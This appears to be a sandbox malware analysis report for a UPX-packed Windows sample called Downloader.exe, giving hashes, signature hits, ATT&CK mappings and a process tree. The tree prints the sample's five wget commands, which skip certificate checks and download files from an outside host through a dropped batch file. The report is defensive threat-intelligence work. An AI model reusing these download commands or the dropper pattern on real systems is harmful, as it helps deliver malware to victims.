cd8f5c68181c350604930f5d761bad3485d4a4b7b26f558b9a120198ea7b9d97

Analysis

max time kernel
148s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
31/07/2026, 06:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Downloader.exe
Size 445KB
Sample260731-g4sr2seb52
SHA256 cd8f5c68181c350604930f5d761bad3485d4a4b7b26f558b9a120198ea7b9d97
MD5 ff4d3e962e8e48e08be740207036979e
SHA1 4485d2e6d4e82047f978a633a219df3005ee7671
SHA512 1d54d1f02215631854200df043ee238f29519896f462369319728831ce5ea2487acf6ef7ea28f8a4518072e512e7e3509482a0ab08c62254d04b614f816955a8
SSDEEP 12288:7/1PxkJLiynXvqjggpl57rrpmNQp2YIGRYN:j1wLrwlOuXY
TLSH
T1D0A4220F736196A5C983CAFE06373A7AD7386621837082EF2B449E087E791D1E93355D
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

discovery execution upx

Malware Config

Signatures

Executes dropped EXE 5 IoCs

pid	Process
4552	wget.exe
1528	wget.exe
4032	wget.exe
4076	wget.exe
1924	wget.exe

UPX packed file 10 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000500000001b815-7.dat	upx
behavioral2/memory/4552-9-0x0000000000400000-0x00000000004EF000-memory.dmp	upx
behavioral2/memory/4552-10-0x0000000000400000-0x00000000004EF000-memory.dmp	upx
behavioral2/memory/4552-12-0x0000000000400000-0x00000000004EF000-memory.dmp	upx
behavioral2/memory/1528-14-0x0000000000400000-0x00000000004EF000-memory.dmp	upx
behavioral2/memory/4032-17-0x0000000000400000-0x00000000004EF000-memory.dmp	upx
behavioral2/memory/4032-19-0x0000000000400000-0x00000000004EF000-memory.dmp	upx
behavioral2/memory/4076-21-0x0000000000400000-0x00000000004EF000-memory.dmp	upx
behavioral2/memory/4076-23-0x0000000000400000-0x00000000004EF000-memory.dmp	upx
behavioral2/memory/1924-25-0x0000000000400000-0x00000000004EF000-memory.dmp	upx

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4356	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Downloader.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wget.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wget.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wget.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wget.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wget.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4140 wrote to memory of 4356	4140	Downloader.exe	90
PID 4356 wrote to memory of 4552	4356	cmd.exe	91
PID 4356 wrote to memory of 1528	4356	cmd.exe	92
PID 4356 wrote to memory of 4032	4356	cmd.exe	93
PID 4356 wrote to memory of 4076	4356	cmd.exe	94
PID 4356 wrote to memory of 1924	4356	cmd.exe	96

C:\Users\Admin\AppData\Local\Temp\Downloader.exe
"C:\Users\Admin\AppData\Local\Temp\Downloader.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4140
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\EAD3.tmp\Downloader.bat" "C:\Users\Admin\AppData\Local\Temp\Downloader.exe""
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4356
- - C:\Users\Admin\AppData\Local\Temp\wget.exe
    wget --no-check-certificate http://waterfrost.tistory.com/attachment/[email protected]
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4552
- - C:\Users\Admin\AppData\Local\Temp\wget.exe
    wget --no-check-certificate http://waterfrost.tistory.com/attachment/[email protected]
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1528
- - C:\Users\Admin\AppData\Local\Temp\wget.exe
    wget --no-check-certificate http://waterfrost.tistory.com/attachment/[email protected]
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4032
- - C:\Users\Admin\AppData\Local\Temp\wget.exe
    wget --no-check-certificate http://waterfrost.tistory.com/attachment/[email protected]
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4076
- - C:\Users\Admin\AppData\Local\Temp\wget.exe
    wget --no-check-certificate http://waterfrost.tistory.com/attachment/[email protected]
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1924

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Downloader.bat

Path C:\Users\Admin\AppData\Local\Temp\EAD3.tmp\Downloader.bat
Size 937B
SHA256 683d69173a2fc20f937fabbba48a6019be348847e2e6c99d8de0d906a6fdb259
MD5 53c0433e48d9080e9ecb38fd58207b7d
SHA1 c7b2e6a20e3c95f139bd1aa378c5967e8d40d469
SHA512 95e9b1f8cfd784d608d3bb489482d2e39b766102d680b8d3460d0342c7fb082acde719539b73d3c8e3b3d1c8fa99a944682e74d8e9687f1a02bedc0e94f31c0b
TLSH
T11D117D1D9242E4E06EC562773F75144F803963C26376352A32C6CC9C0898DB9D8AEE86
MD5 SHA1 SHA512 TLSH

Submit Download

wget.exe

Path C:\Users\Admin\AppData\Local\Temp\wget.exe
Size 392KB
SHA256 a48ad33695a44de887bba8f2f3174fd8fb01a46a19e3ec9078b0118647ccf599
MD5 bd126a7b59d5d1f97ba89a3e71425731
SHA1 457b1cd985ed07baffd8c66ff40e9c1b6da93753
SHA512 3ef1b83ea9821cb10f8bc149ec481d1e486d246a0cb51fe7983785529df42c6fe775e0d35c64a97f997cdf294464c7640df392239b96ce1be6143ce8f07b5a8a
SSDEEP 6144:eoxkuaVJiysgokd+8L2LZ9aUedgk+TGk57rrpmNDEpO/YIPOWCiwYFnY:JxkJLiynXvqjggpl57rrpmNQp2YIGRY
TLSH
T1518423487A2AD85DCE83CEBB1A65773C663C6010C9E985EE35DCDF483E7A125360389D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1528-14-0x0000000000400000-0x00000000004EF000-memory.dmp

Download

memory/1924-25-0x0000000000400000-0x00000000004EF000-memory.dmp

Download

memory/4032-19-0x0000000000400000-0x00000000004EF000-memory.dmp

Download

memory/4032-17-0x0000000000400000-0x00000000004EF000-memory.dmp

Download

memory/4076-21-0x0000000000400000-0x00000000004EF000-memory.dmp

Download

memory/4076-23-0x0000000000400000-0x00000000004EF000-memory.dmp

Download

memory/4140-16-0x000000000040D000-0x000000000040E000-memory.dmp

Download

memory/4140-0-0x000000000040D000-0x000000000040E000-memory.dmp

Download

memory/4552-12-0x0000000000400000-0x00000000004EF000-memory.dmp

Download

memory/4552-10-0x0000000000400000-0x00000000004EF000-memory.dmp

Download

memory/4552-9-0x0000000000400000-0x00000000004EF000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads